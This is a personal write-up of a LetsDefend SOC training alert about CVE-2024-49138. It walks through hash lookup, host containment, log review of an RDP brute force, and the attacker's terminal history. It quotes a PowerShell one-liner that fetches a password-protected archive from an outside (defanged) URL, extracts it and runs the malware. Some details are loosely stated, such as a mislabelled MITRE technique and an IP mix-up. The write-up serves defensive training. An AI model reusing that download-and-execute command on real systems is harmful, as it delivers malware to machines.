frncscrlnd's writeups

Writeups from challenges and CTFs i take part in.


Project maintained by frncscrlnd Hosted on GitHub Pages — Theme by mattgraham

SOC335 - CVE-2024-49138 Exploitation Detected

This LetsDefend SOC practice exercise revolves around CVE-2024-49138 exploitation.

Table of contents:

Alert

EventID : 313 Event Time :
2025-01-22T02:37:00+03:00
Rule : SOC335 - CVE-2024-49138 Exploitation Detected
Role : Security Analyst
Alert Type : Privilege Escalation
Difficulty : Medium
MITRE ATT&CK : T1059.001 T1055 T1068 T1548 T1110
Hostname : Victor
File Hash : b432dcf4a0f0b601b1d79848467137a5e25cab5a0b7b1224be9d3b6540122db9
Ip Address : 172.16.17.207
Process ID : 7640
Command Line : \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Process Name : svohost.exe
Process Path : "C:\temp\service_installer\svohost.exe"
Process User : EC2AMAZ-ILGVOIN\LetsDefend
Device Action : Allowed
Parent Process : C:\Windows\System32\WINDOWSPOWERSHELL\V1.0\powershell.exe
Trigger Reason : Unusual or suspicious patterns of behavior linked to the hash have been identified, indicating potential exploitation of CVE-2024-49138.

This alert comes from Victor’s machine (172.16.17.207). An unusual/suspicious behaviour has been detected in the execution of svohost.exe process (which looks very similar to the legitimate svchost.exe process) by an EDR.

The behaviour in question is the \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 command being executed by svohost.exe. This command, in fact, starts an hidden console session.

The MITRE ATT&CK techniques this alert falls into are:

Hint

Check the hash of malware on VT, and see the process users.

Since we know that this alert is about malware, the hint is telling us to look up the svohost.exe file digest (or hash), b432dcf4a0f0b601b1d79848467137a5e25cab5a0b7b1224be9d3b6540122db9, on VT (Virus Total). This search will return that 49/71 security vendors flagged this file as malicious. VT will also return that this malware runs this exact command: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1. This is also the reason why the platform shows that the T1059.001 (Command and Scripting Interpreter: PowerShell) technique is involved.

Containment

Knowing that malware has been executed on Victor’s machine, we need to contain it to avoid lateral movement. We can do so by going to “Endpoint Security” and then switching the “Containment” button to “Contained”, like this:

Containment

Analysis

Now that we know what triggered the alert and that the host has been contained, we can dive into it more.

Initial access

Let’s see how the attacker got inside Victor’s machine from the “Log Management” section. After checking for logs matching Victor’s IP address (172.16.17.207) like this: Destination Address contains "172.16.17.207" we can see 4 4625(An account failed to log on) events followed by an 4624(An account was successfully logged on.) event, all coming from 185.107.56.141:

Logs

This means that 185.107.56.141 got access to a RemoteInteractive session (such as RDP by brute forcing (T1110: Brute Force).

Execution

Let’s see what happenedafter the attacker got inside. Let’s head to “Endpoint Security” and look for Victor’s machine (185.107.56.141). In the “Terminal History” section we’ll see:

$url = 'hxxps://files-ld[.]s3[.]us-east-2[.]amazonaws[.]com/service-installer[.]zip'; $dest = 'C:\temp\service-installer.zip'; $extractPath = 'C:\temp'; $password = 'infected'; if (-not (Test-Path -Path $extractPath)) { New-Item -ItemType Directory -Path $extractPath -Force | Out-Null }; Invoke-WebRequest -Uri $url -OutFile $dest; $7zipPath = 'C:\Program Files\7-Zip\7z.exe'; Start-Process -FilePath $7zipPath -ArgumentList "x -p$password -o$extractPath $dest" -NoNewWindow -Wait -PassThru; Remove-Item -Path $dest; Start-Process -FilePath "$extractPath\service_installer\svohost.exe"

being executed at Jan 22 2025 14:37:10. This means that the attacker executed a PowerShell (T1059.001: Command and Scripting Interpreter: PowerShell) script that:

  1. downloads (Invoke-WebRequest) hxxps://files-ld[.]s3[.]us-east-2[.]amazonaws[.]com/service-installer[.]zip as C:\temp\service-installer.zip;
  2. extracts C:\temp\service-installer.zip in $extractPath\service_installer\svohost.exe;
  3. executes (Start-Process) svohost.exe.

Privilege Escalation

While taking a better look at this file’s hash on VT, we also notice it’s related to CVE-2024-49138, a Windows privilege escalation (T1055: Exploitation for Privilege Escalation) vulnerability.

Lateral movement

The attacker then contacted the 169[.]254.169.254 internal IP address, potentially causing lateral movement.

Playbook

Now that we know more about this alert, we can create a ticket and start the playbook:

All of these indicators make us come to the conclusion that this alert was a “True Positive”.